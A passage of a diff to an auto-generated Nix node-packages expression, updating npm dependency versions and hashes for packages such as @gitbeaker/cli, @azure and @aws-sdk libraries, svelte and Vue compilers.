sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."shebang-command-2.0.0" sources."shebang-regex-3.0.0" sources."signal-exit-4.1.0" @@ -76317,7 +76486,7 @@ in sources."@scure/bip39-1.2.2" sources."@types/atob-2.1.4" sources."@types/inquirer-6.5.0" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/through-0.0.33" sources."ajv-6.12.6" sources."ansi-escapes-4.3.2" @@ -76473,7 +76642,7 @@ in sources."utf8-3.0.0" sources."uuid-3.4.0" sources."verror-1.10.0" - sources."web3-utils-1.10.3" + sources."web3-utils-1.10.4" sources."webidl-conversions-3.0.1" sources."whatwg-url-5.0.0" sources."which-module-2.0.1" @@ -76512,7 +76681,7 @@ in sources."arr-diff-4.0.0" sources."arr-flatten-1.1.0" sources."arr-union-3.1.0" - sources."array-buffer-byte-length-1.0.0" + sources."array-buffer-byte-length-1.0.1" sources."array-unique-0.3.2" sources."assign-symbols-1.0.0" sources."async-1.5.2" @@ -76543,7 +76712,7 @@ in ]; }) sources."cache-base-1.0.1" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."caller-1.1.0" sources."chokidar-2.1.8" (sources."class-utils-0.3.6" // { @@ -76581,13 +76750,15 @@ in sources."debug-2.6.9" sources."decode-uri-component-0.2.2" sources."deep-equal-2.2.3" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."define-property-2.0.2" sources."director-1.2.7" sources."dot-prop-4.2.1" sources."duplexer-0.1.2" sources."enabled-2.0.0" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es-get-iterator-1.1.3" sources."event-stream-3.3.4" sources."eventemitter2-6.4.4" @@ -76627,7 +76798,7 @@ in sources."fsevents-1.2.13" sources."function-bind-1.1.2" sources."functions-have-names-1.2.3" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-value-2.0.6" sources."glob-7.2.3" (sources."glob-parent-3.1.0" // { @@ -76638,26 +76809,26 @@ in sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."has-bigints-1.0.2" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" + sources."has-tostringtag-1.0.2" sources."has-value-1.0.0" (sources."has-values-1.0.0" // { dependencies = [ sources."kind-of-4.0.0" ]; }) - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."i-0.3.7" sources."imurmurhash-0.1.4" sources."inflight-1.0.6" sources."inherits-2.0.4" sources."ini-1.3.8" - sources."internal-slot-1.0.6" + sources."internal-slot-1.0.7" sources."is-accessor-descriptor-1.0.1" sources."is-arguments-1.1.1" - sources."is-array-buffer-3.0.2" + sources."is-array-buffer-3.0.4" sources."is-arrayish-0.3.2" sources."is-bigint-1.0.4" sources."is-binary-path-1.0.1" @@ -76685,7 +76856,6 @@ in sources."is-stream-2.0.1" sources."is-string-1.0.7" sources."is-symbol-1.0.4" - sources."is-typed-array-1.1.12" sources."is-weakmap-2.0.1" sources."is-weakset-2.0.2" sources."is-windows-1.0.2" @@ -76775,7 +76945,7 @@ in }) sources."readdirp-2.2.1" sources."regex-not-1.0.2" - sources."regexp.prototype.flags-1.5.1" + sources."regexp.prototype.flags-1.5.2" sources."remove-trailing-separator-1.1.0" sources."repeat-element-1.1.4" sources."repeat-string-1.6.1" @@ -76786,7 +76956,7 @@ in sources."safe-buffer-5.1.2" sources."safe-regex-1.1.0" sources."safe-stable-stringify-2.4.3" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."set-function-name-2.0.1" (sources."set-value-2.0.1" // { dependencies = [ @@ -76795,7 +76965,7 @@ in ]; }) sources."shush-1.0.4" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."simple-swizzle-0.2.2" (sources."snapdragon-0.8.2" // { @@ -76870,14 +77040,14 @@ in }) sources."which-boxed-primitive-1.0.2" sources."which-collection-1.0.1" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" (sources."winston-3.11.0" // { dependencies = [ sources."async-3.2.5" sources."readable-stream-3.6.2" ]; }) - (sources."winston-transport-4.6.0" // { + (sources."winston-transport-4.7.0" // { dependencies = [ sources."readable-stream-3.6.2" ]; @@ -76932,7 +77102,7 @@ in }) sources."@types/bn.js-5.1.5" sources."@types/lru-cache-5.1.1" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/seedrandom-3.0.1" sources."abstract-level-1.0.3" (sources."abstract-leveldown-7.2.0" // { @@ -77037,7 +77207,7 @@ in sources."@hapi/hoek-9.3.0" sources."@hapi/topo-5.1.0" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -77059,7 +77229,7 @@ in sources."@types/common-tags-1.8.4" sources."@types/http-cache-semantics-4.0.4" sources."@types/keyv-3.1.4" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/node-fetch-2.6.11" sources."@types/responselike-1.0.3" sources."@types/yoga-layout-1.9.2" @@ -77077,7 +77247,7 @@ in sources."boolbase-1.0.0" sources."boxen-5.1.2" sources."brace-expansion-1.1.11" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."cacheable-lookup-5.0.4" (sources."cacheable-request-7.0.4" // { dependencies = [ @@ -77085,7 +77255,7 @@ in ]; }) sources."camelcase-6.3.0" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" (sources."chalk-4.1.2" // { dependencies = [ sources."ansi-styles-4.3.0" @@ -77144,13 +77314,13 @@ in sources."domhandler-4.3.1" sources."domutils-2.8.0" sources."dot-prop-5.3.0" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emoji-regex-8.0.0" sources."encoding-0.1.13" sources."end-of-stream-1.4.4" sources."entities-2.2.0" - sources."envinfo-7.11.0" - sources."escalade-3.1.1" + sources."envinfo-7.11.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" (sources."execa-5.1.1" // { dependencies = [ @@ -77169,7 +77339,7 @@ in sources."tmp-0.0.33" ]; }) - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."figures-3.2.0" sources."file-type-16.5.4" sources."find-up-4.1.0" @@ -77318,7 +77488,7 @@ in sources."rxjs-6.6.7" sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" - (sources."semver-7.5.4" // { + (sources."semver-7.6.0" // { dependencies = [ sources."lru-cache-6.0.0" sources."yallist-4.0.0" @@ -77485,35 +77655,37 @@ in "@gitbeaker/cli" = nodeEnv.buildNodePackage { name = "_at_gitbeaker_slash_cli"; packageName = "@gitbeaker/cli"; - version = "39.34.1"; + version = "39.34.2"; src = fetchurl { - url = "https://registry.npmjs.org/@gitbeaker/cli/-/cli-39.34.1.tgz"; - sha512 = "tORWpkn/ndIJKb2pDjflBuJI0lV6V3alfdDeGxNp5Y8psfiF1iu+lqt7ZANsP1+8I7s7owAd50AoEoDK68445w=="; + url = "https://registry.npmjs.org/@gitbeaker/cli/-/cli-39.34.2.tgz"; + sha512 = "mJYBS+UilGGd6CUhuExNUfNsLVncJjaitClIoLrVIdVcyMQ9Ci4IALrkYUAlG1oNvzna6e6Xrpcjq31GJSjZUQ=="; }; dependencies = [ - sources."@gitbeaker/core-39.34.1" - sources."@gitbeaker/requester-utils-39.34.1" - sources."@gitbeaker/rest-39.34.1" + sources."@gitbeaker/core-39.34.2" + sources."@gitbeaker/requester-utils-39.34.2" + sources."@gitbeaker/rest-39.34.2" sources."ansi-styles-4.3.0" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."chalk-4.1.2" sources."color-convert-2.0.1" sources."color-name-1.1.4" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."gopd-1.0.1" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."object-inspect-1.13.1" sources."picomatch-browser-2.2.6" sources."qs-6.11.2" sources."rate-limiter-flexible-4.0.1" - sources."set-function-length-1.2.0" - sources."side-channel-1.0.4" + sources."set-function-length-1.2.1" + sources."side-channel-1.0.5" sources."supports-color-7.2.0" sources."sywac-1.3.0" sources."xcase-2.0.1" @@ -77576,7 +77748,7 @@ in sources."emoji-regex-8.0.0" sources."encoding-0.1.13" sources."end-of-stream-1.4.4" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."fd-slicer-1.1.0" sources."file-type-5.2.0" sources."filter-obj-1.1.0" @@ -77880,7 +78052,7 @@ in sources."@nodelib/fs.walk-1.2.8" sources."@sindresorhus/is-0.14.0" sources."@szmarczak/http-timer-1.1.2" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/parse-json-4.0.2" sources."@types/websocket-1.0.2" sources."abort-controller-3.0.0" @@ -77894,7 +78066,7 @@ in sources."ansi-regex-4.1.1" sources."ansi-styles-4.3.0" sources."argparse-1.0.10" - sources."array-buffer-byte-length-1.0.0" + sources."array-buffer-byte-length-1.0.1" sources."array-union-2.1.0" sources."asn1-0.2.6" sources."assert-plus-1.0.0" @@ -77917,7 +78089,7 @@ in sources."lowercase-keys-2.0.0" ]; }) - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."call-me-maybe-1.0.2" sources."callsites-3.1.0" (sources."camel-case-4.1.1" // { @@ -77968,7 +78140,7 @@ in sources."deep-extend-0.6.0" sources."defaults-1.0.4" sources."defer-to-connect-1.1.3" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."delayed-stream-1.0.0" sources."dir-glob-3.0.1" @@ -77977,9 +78149,11 @@ in sources."emoji-regex-8.0.0" sources."end-of-stream-1.4.4" sources."error-ex-1.3.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es-get-iterator-1.1.3" sources."es6-promise-3.3.1" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."esprima-4.0.1" sources."event-target-shim-5.0.1" @@ -77997,7 +78171,7 @@ in sources."fast-glob-3.3.2" sources."fast-json-stable-stringify-2.1.0" sources."fast-safe-stringify-2.1.1" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."figlet-1.5.0" sources."figures-3.2.0" sources."fill-range-7.0.1" @@ -78013,7 +78187,7 @@ in sources."function-bind-1.1.2" sources."functions-have-names-1.2.3" sources."get-caller-file-2.0.5" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-stream-4.1.0" sources."getpass-0.1.7" sources."glob-7.2.3" @@ -78040,11 +78214,11 @@ in sources."har-validator-5.1.5" sources."has-bigints-1.0.2" sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" - sources."hasown-2.0.0" + sources."has-tostringtag-1.0.2" + sources."hasown-2.0.1" sources."http-cache-semantics-4.1.1" sources."http-signature-1.2.0" sources."http2-client-1.3.5" @@ -78071,9 +78245,9 @@ in sources."strip-ansi-6.0.1" ]; }) - sources."internal-slot-1.0.6" + sources."internal-slot-1.0.7" sources."is-arguments-1.1.1" - sources."is-array-buffer-3.0.2" + sources."is-array-buffer-3.0.4" sources."is-arrayish-0.2.1" sources."is-bigint-1.0.4" sources."is-boolean-object-1.1.2" @@ -78094,7 +78268,6 @@ in sources."is-stream-1.1.0" sources."is-string-1.0.7" sources."is-symbol-1.0.4" - sources."is-typed-array-1.1.12" sources."is-typedarray-1.0.0" sources."is-unicode-supported-0.1.0" sources."is-weakmap-2.0.1" @@ -78242,7 +78415,7 @@ in sources."queue-microtask-1.2.3" sources."rc-1.2.8" sources."reftools-1.1.9" - sources."regexp.prototype.flags-1.5.1" + sources."regexp.prototype.flags-1.5.2" sources."registry-auth-token-4.2.2" sources."registry-url-5.1.0" sources."remove-trailing-separator-1.1.0" @@ -78263,7 +78436,7 @@ in sources."safe-buffer-5.2.1" sources."safer-buffer-2.1.2" sources."semver-5.7.2" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."set-function-name-2.0.1" sources."shebang-command-1.2.0" sources."shebang-regex-1.0.0" @@ -78273,7 +78446,7 @@ in sources."should-type-1.4.0" sources."should-type-adaptors-1.1.0" sources."should-util-1.0.1" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."signal-exit-3.0.7" sources."simple-git-2.21.0" sources."slash-3.0.0" @@ -78323,7 +78496,7 @@ in sources."which-1.3.1" sources."which-boxed-primitive-1.0.2" sources."which-collection-1.0.1" - sources."which-typed-array-1.1.13" + sources."which-typed-array-1.1.14" (sources."wrap-ansi-7.0.0" // { dependencies = [ sources."ansi-regex-5.0.1" @@ -78366,7 +78539,7 @@ in dependencies = [ sources."@ampproject/remapping-2.2.1" sources."@ardatan/sync-fetch-0.0.1" - sources."@astrojs/compiler-2.5.2" + sources."@astrojs/compiler-2.5.3" sources."@babel/code-frame-7.23.5" sources."@babel/compat-data-7.23.5" sources."@babel/core-7.23.9" @@ -78396,7 +78569,7 @@ in sources."@graphql-tools/delegate-10.0.3" sources."@graphql-tools/executor-1.2.0" sources."@graphql-tools/executor-graphql-ws-1.1.1" - sources."@graphql-tools/executor-http-1.0.7" + sources."@graphql-tools/executor-http-1.0.8" sources."@graphql-tools/executor-legacy-ws-1.0.5" sources."@graphql-tools/graphql-file-loader-8.0.0" sources."@graphql-tools/graphql-tag-pluck-8.1.0" @@ -78411,7 +78584,7 @@ in sources."@graphql-typed-document-node/core-3.2.0" sources."@iarna/toml-2.2.5" sources."@jridgewell/gen-mapping-0.3.3" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/set-array-1.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.22" @@ -78422,18 +78595,18 @@ in sources."@pkgr/core-0.1.1" sources."@repeaterjs/repeater-3.0.5" sources."@types/estree-1.0.5" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/ws-8.5.10" sources."@types/yargs-16.0.5" sources."@types/yargs-parser-21.0.3" - sources."@vue/compiler-core-3.4.15" - sources."@vue/compiler-dom-3.4.15" - sources."@vue/compiler-sfc-3.4.15" - sources."@vue/compiler-ssr-3.4.15" - sources."@vue/shared-3.4.15" + sources."@vue/compiler-core-3.4.19" + sources."@vue/compiler-dom-3.4.19" + sources."@vue/compiler-sfc-3.4.19" + sources."@vue/compiler-ssr-3.4.19" + sources."@vue/shared-3.4.19" sources."@whatwg-node/events-0.1.1" sources."@whatwg-node/fetch-0.9.16" - sources."@whatwg-node/node-fetch-0.5.5" + sources."@whatwg-node/node-fetch-0.5.6" sources."acorn-8.11.3" sources."ansi-regex-5.0.1" sources."ansi-styles-3.2.1" @@ -78445,11 +78618,11 @@ in sources."balanced-match-1.0.2" sources."brace-expansion-1.1.11" sources."braces-3.0.2" - sources."browserslist-4.22.3" + sources."browserslist-4.23.0" sources."bufferutil-4.0.8" sources."busboy-1.6.0" sources."callsites-3.1.0" - sources."caniuse-lite-1.0.30001582" + sources."caniuse-lite-1.0.30001587" sources."chalk-2.4.2" sources."cliui-7.0.4" (sources."code-red-1.0.4" // { @@ -78473,19 +78646,19 @@ in sources."dir-glob-3.0.1" sources."dotenv-10.0.0" sources."dset-3.1.3" - sources."electron-to-chromium-1.4.653" + sources."electron-to-chromium-1.4.673" sources."emoji-regex-8.0.0" sources."encoding-0.1.13" sources."entities-4.5.0" sources."error-ex-1.3.2" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."escape-string-regexp-1.0.5" sources."estree-walker-2.0.2" sources."extract-files-11.0.0" sources."fast-decode-uri-component-1.0.1" sources."fast-glob-3.3.2" sources."fast-querystring-1.1.2" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."fs.realpath-1.0.0" sources."gensync-1.0.0-beta.2" @@ -78502,7 +78675,7 @@ in }) sources."graphql-language-service-5.2.0" sources."graphql-language-service-server-2.12.0" - sources."graphql-ws-5.14.3" + sources."graphql-ws-5.15.0" sources."has-flag-3.0.0" sources."iconv-lite-0.6.3" sources."ignore-5.3.1" @@ -78530,7 +78703,7 @@ in sources."locate-character-3.0.0" sources."lower-case-2.0.2" sources."lru-cache-5.1.1" - sources."magic-string-0.30.6" + sources."magic-string-0.30.7" sources."mdn-data-2.0.30" sources."merge2-1.4.1" sources."meros-1.3.0" @@ -78560,7 +78733,7 @@ in }) sources."picocolors-1.0.0" sources."picomatch-2.3.1" - sources."postcss-8.4.33" + sources."postcss-8.4.35" sources."queue-microtask-1.2.3" sources."regenerator-runtime-0.13.11" sources."remove-trailing-separator-1.1.0" @@ -78577,12 +78750,12 @@ in sources."string-width-4.2.3" sources."strip-ansi-6.0.1" sources."supports-color-5.5.0" - (sources."svelte-4.2.9" // { + (sources."svelte-4.2.11" // { dependencies = [ sources."estree-walker-3.0.3" ]; }) - sources."svelte2tsx-0.7.0" + sources."svelte2tsx-0.7.1" sources."synckit-0.9.0" sources."to-fast-properties-2.0.0" sources."to-regex-range-5.0.1" @@ -78658,7 +78831,7 @@ in sources."global-modules-1.0.0" sources."global-prefix-1.0.2" sources."grunt-known-options-2.0.0" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."homedir-polyfill-1.0.3" sources."ini-1.3.8" sources."interpret-1.1.0" @@ -78741,17 +78914,19 @@ in sources."array-flatten-1.1.1" sources."body-parser-1.20.1" sources."bytes-3.1.2" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."content-disposition-0.5.4" sources."content-type-1.0.5" sources."cookie-0.5.0" sources."cookie-signature-1.0.6" sources."debug-2.6.9" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."depd-2.0.0" sources."destroy-1.2.0" sources."ee-first-1.1.1" sources."encodeurl-1.0.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."escape-html-1.0.3" sources."etag-1.8.1" sources."express-4.18.2" @@ -78760,12 +78935,12 @@ in sources."forwarded-0.2.0" sources."fresh-0.5.2" sources."function-bind-1.1.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."gopd-1.0.1" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."http-errors-2.0.0" sources."iconv-lite-0.4.24" sources."inherits-2.0.4" @@ -78796,9 +78971,9 @@ in ]; }) sources."serve-static-1.15.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" sources."setprototypeof-1.2.0" - sources."side-channel-1.0.4" + sources."side-channel-1.0.5" sources."statuses-2.0.1" sources."toidentifier-1.0.1" sources."type-is-1.6.18" @@ -78884,7 +79059,7 @@ in sources."buffer-equal-1.0.1" sources."buffer-from-1.1.2" sources."cache-base-1.0.1" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."camelcase-3.0.0" sources."chokidar-2.1.8" (sources."class-utils-0.3.6" // { @@ -78923,7 +79098,7 @@ in ]; }) sources."default-resolution-2.0.0" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."define-property-2.0.2" sources."detect-file-1.0.0" @@ -78931,6 +79106,8 @@ in sources."each-props-1.3.2" sources."end-of-stream-1.4.4" sources."error-ex-1.3.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es5-ext-0.10.62" sources."es6-iterator-2.0.3" sources."es6-symbol-3.1.3" @@ -78981,7 +79158,7 @@ in sources."fsevents-1.2.13" sources."function-bind-1.1.2" sources."get-caller-file-1.0.3" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-value-2.0.6" sources."glob-7.2.3" (sources."glob-parent-3.1.0" // { @@ -78998,7 +79175,7 @@ in sources."graceful-fs-4.2.11" sources."gulp-cli-2.3.0" sources."gulplog-1.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" sources."has-value-1.0.0" @@ -79007,7 +79184,7 @@ in sources."kind-of-4.0.0" ]; }) - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."homedir-polyfill-1.0.3" sources."hosted-git-info-2.8.9" sources."inflight-1.0.6" @@ -79138,7 +79315,7 @@ in sources."semver-5.7.2" sources."semver-greatest-satisfied-range-1.1.0" sources."set-blocking-2.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" (sources."set-value-2.0.1" // { dependencies = [ sources."extend-shallow-2.0.1" @@ -79166,9 +79343,9 @@ in sources."source-map-url-0.4.1" sources."sparkles-1.0.1" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."split-string-3.1.0" sources."stack-trace-0.0.10" (sources."static-extend-0.1.2" // { @@ -79282,7 +79459,7 @@ in }) sources."buffer-from-1.1.2" sources."cache-base-1.0.1" - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."camelcase-3.0.0" (sources."class-utils-0.3.6" // { dependencies = [ @@ -79304,7 +79481,7 @@ in sources."decamelize-1.2.0" sources."decode-uri-component-0.2.2" sources."default-compare-1.0.0" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-properties-1.2.1" sources."define-property-2.0.2" sources."detect-file-1.0.0" @@ -79314,6 +79491,8 @@ in ]; }) sources."error-ex-1.3.2" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es5-ext-0.10.62" sources."es6-iterator-2.0.3" sources."es6-symbol-3.1.3" @@ -79362,7 +79541,7 @@ in sources."fragment-cache-0.2.1" sources."function-bind-1.1.2" sources."get-caller-file-1.0.3" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-value-2.0.6" sources."global-modules-1.0.0" sources."global-prefix-1.0.2" @@ -79370,7 +79549,7 @@ in sources."gopd-1.0.1" sources."graceful-fs-4.2.11" sources."gulplog-1.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" sources."has-value-1.0.0" @@ -79379,7 +79558,7 @@ in sources."kind-of-4.0.0" ]; }) - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."homedir-polyfill-1.0.3" sources."hosted-git-info-2.8.9" sources."inherits-2.0.4" @@ -79502,7 +79681,7 @@ in sources."semver-5.7.2" sources."semver-greatest-satisfied-range-1.1.0" sources."set-blocking-2.0.0" - sources."set-function-length-1.2.0" + sources."set-function-length-1.2.1" (sources."set-value-2.0.1" // { dependencies = [ sources."extend-shallow-2.0.1" @@ -79531,9 +79710,9 @@ in sources."source-map-url-0.4.1" sources."sparkles-1.0.1" sources."spdx-correct-3.2.0" - sources."spdx-exceptions-2.4.0" + sources."spdx-exceptions-2.5.0" sources."spdx-expression-parse-3.0.1" - sources."spdx-license-ids-3.0.16" + sources."spdx-license-ids-3.0.17" sources."split-string-3.1.0" sources."stack-trace-0.0.10" (sources."static-extend-0.1.2" // { @@ -79981,7 +80160,7 @@ in sources."is-wsl-2.2.0" sources."isexe-2.0.0" sources."jquery-3.7.1" - sources."jquery.terminal-2.38.0" + sources."jquery.terminal-2.39.0" sources."js-yaml-4.1.0" sources."keyboardevent-key-polyfill-1.1.0" sources."lcov-parse-1.0.0" @@ -80027,11 +80206,19 @@ in sha512 = "bvN8aH5mHnuQH0yAr2ZFwQPtC6nE3MfxQvtzjCICxwAMvdngJyUPFvFR8aFKhwgRYMNzVmIMZSOlx+3DJWviUA=="; }; dependencies = [ - sources."@azure/abort-controller-1.1.0" - sources."@azure/core-auth-1.5.0" - sources."@azure/core-rest-pipeline-1.10.1" + sources."@azure/abort-controller-2.0.0" + sources."@azure/core-auth-1.6.0" + (sources."@azure/core-rest-pipeline-1.10.1" // { + dependencies = [ + sources."@azure/abort-controller-1.1.0" + ]; + }) sources."@azure/core-tracing-1.0.1" - sources."@azure/core-util-1.2.0" + (sources."@azure/core-util-1.2.0" // { + dependencies = [ + sources."@azure/abort-controller-1.1.0" + ]; + }) sources."@azure/logger-1.0.4" sources."@azure/opentelemetry-instrumentation-azure-sdk-1.0.0-beta.5" sources."@bmewburn/js-beautify-1.14.9" @@ -80043,7 +80230,7 @@ in sources."nopt-5.0.0" ]; }) - sources."@microsoft/applicationinsights-web-snippet-1.0.1" + sources."@microsoft/applicationinsights-web-snippet-1.1.1" sources."@nodelib/fs.scandir-2.1.5" sources."@nodelib/fs.stat-2.0.5" sources."@nodelib/fs.walk-1.2.8" @@ -80066,7 +80253,7 @@ in sources."@protobufjs/utf8-1.1.0" sources."@selderee/plugin-htmlparser2-0.11.0" sources."@tootallnate/once-2.0.0" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/shimmer-1.0.5" sources."@vscode/l10n-0.0.16" sources."abbrev-2.0.0" @@ -80139,7 +80326,7 @@ in sources."fast-deep-equal-3.1.3" sources."fast-glob-3.3.2" sources."fast-json-stable-stringify-2.1.0" - sources."fastq-1.17.0" + sources."fastq-1.17.1" sources."fill-range-7.0.1" sources."foreground-child-3.1.1" sources."forever-agent-0.6.1" @@ -80167,7 +80354,7 @@ in sources."har-schema-2.0.0" sources."har-validator-5.1.5" sources."has-unicode-2.0.1" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."html-to-text-9.0.5" sources."htmlparser2-8.0.2" sources."http-proxy-agent-5.0.0" @@ -80473,13 +80660,13 @@ in sources."@aws-sdk/service-error-classification-3.296.0" sources."@aws-sdk/shared-ini-file-loader-3.296.0" sources."@aws-sdk/signature-v4-3.296.0" - (sources."@aws-sdk/signature-v4-crt-3.502.0" // { + (sources."@aws-sdk/signature-v4-crt-3.515.0" // { dependencies = [ - sources."@aws-sdk/middleware-sdk-s3-3.502.0" - sources."@aws-sdk/signature-v4-multi-region-3.502.0" - sources."@aws-sdk/types-3.502.0" + sources."@aws-sdk/middleware-sdk-s3-3.515.0" + sources."@aws-sdk/signature-v4-multi-region-3.515.0" + sources."@aws-sdk/types-3.515.0" sources."@aws-sdk/util-arn-parser-3.495.0" - sources."@aws-sdk/util-user-agent-node-3.502.0" + sources."@aws-sdk/util-user-agent-node-3.515.0" ]; }) sources."@aws-sdk/signature-v4-multi-region-3.296.0" @@ -80576,7 +80763,7 @@ in sources."@types/mdast-3.0.15" sources."@types/ms-0.7.34" sources."@types/nanoid-3.0.0" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/unist-2.0.10" sources."@types/ws-8.5.10" sources."abab-2.0.6" @@ -80608,7 +80795,7 @@ in sources."asynckit-0.4.0" sources."atob-2.1.2" sources."available-typed-arrays-1.0.6" - sources."aws-crt-1.21.0" + sources."aws-crt-1.21.1" (sources."aws-sdk-2.1340.0" // { dependencies = [ sources."buffer-4.9.2" @@ -80626,7 +80813,7 @@ in sources."follow-redirects-1.15.5" ]; }) - sources."b4a-1.6.4" + sources."b4a-1.6.6" sources."balanced-match-1.0.2" sources."base-64-1.0.0" sources."base64-js-1.5.1" @@ -80651,7 +80838,7 @@ in sources."minipass-3.3.6" ]; }) - sources."call-bind-1.0.5" + sources."call-bind-1.0.7" sources."camel-case-3.0.0" sources."camelcase-4.1.0" sources."canvas-2.11.2" @@ -80766,7 +80953,7 @@ in sources."deep-extend-0.6.0" sources."deep-is-0.1.4" sources."deepmerge-2.2.1" - sources."define-data-property-1.1.1" + sources."define-data-property-1.1.4" sources."define-lazy-prop-2.0.0" sources."delaunator-5.0.1" sources."delayed-stream-1.0.0" @@ -80774,7 +80961,7 @@ in sources."depd-1.1.2" sources."dequal-2.0.3" sources."detect-libc-2.0.2" - sources."diff-5.1.0" + sources."diff-5.2.0" sources."diff-match-patch-1.0.5" (sources."dom-serializer-2.0.0" // { dependencies = [ @@ -80806,6 +80993,8 @@ in sources."entities-2.2.0" sources."env-paths-2.2.1" sources."err-code-2.0.3" + sources."es-define-property-1.0.0" + sources."es-errors-1.3.0" sources."es6-promise-pool-2.5.0" sources."escape-string-regexp-1.0.5" sources."events-1.1.1" @@ -80851,7 +81040,7 @@ in sources."fsevents-2.3.3" sources."function-bind-1.1.2" sources."gauge-3.0.2" - sources."get-intrinsic-1.2.2" + sources."get-intrinsic-1.2.4" sources."get-prototype-chain-1.0.1" sources."get-stdin-5.0.1" sources."get-stream-6.0.1" @@ -80870,12 +81059,12 @@ in ]; }) sources."has-flag-4.0.0" - sources."has-property-descriptors-1.0.1" + sources."has-property-descriptors-1.0.2" sources."has-proto-1.0.1" sources."has-symbols-1.0.3" - sources."has-tostringtag-1.0.0" + sources."has-tostringtag-1.0.2" sources."has-unicode-2.0.1" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."he-1.2.0" sources."heap-0.2.7" (sources."help-me-3.0.0" // { @@ -80940,7 +81129,11 @@ in }) sources."internmap-2.0.3" 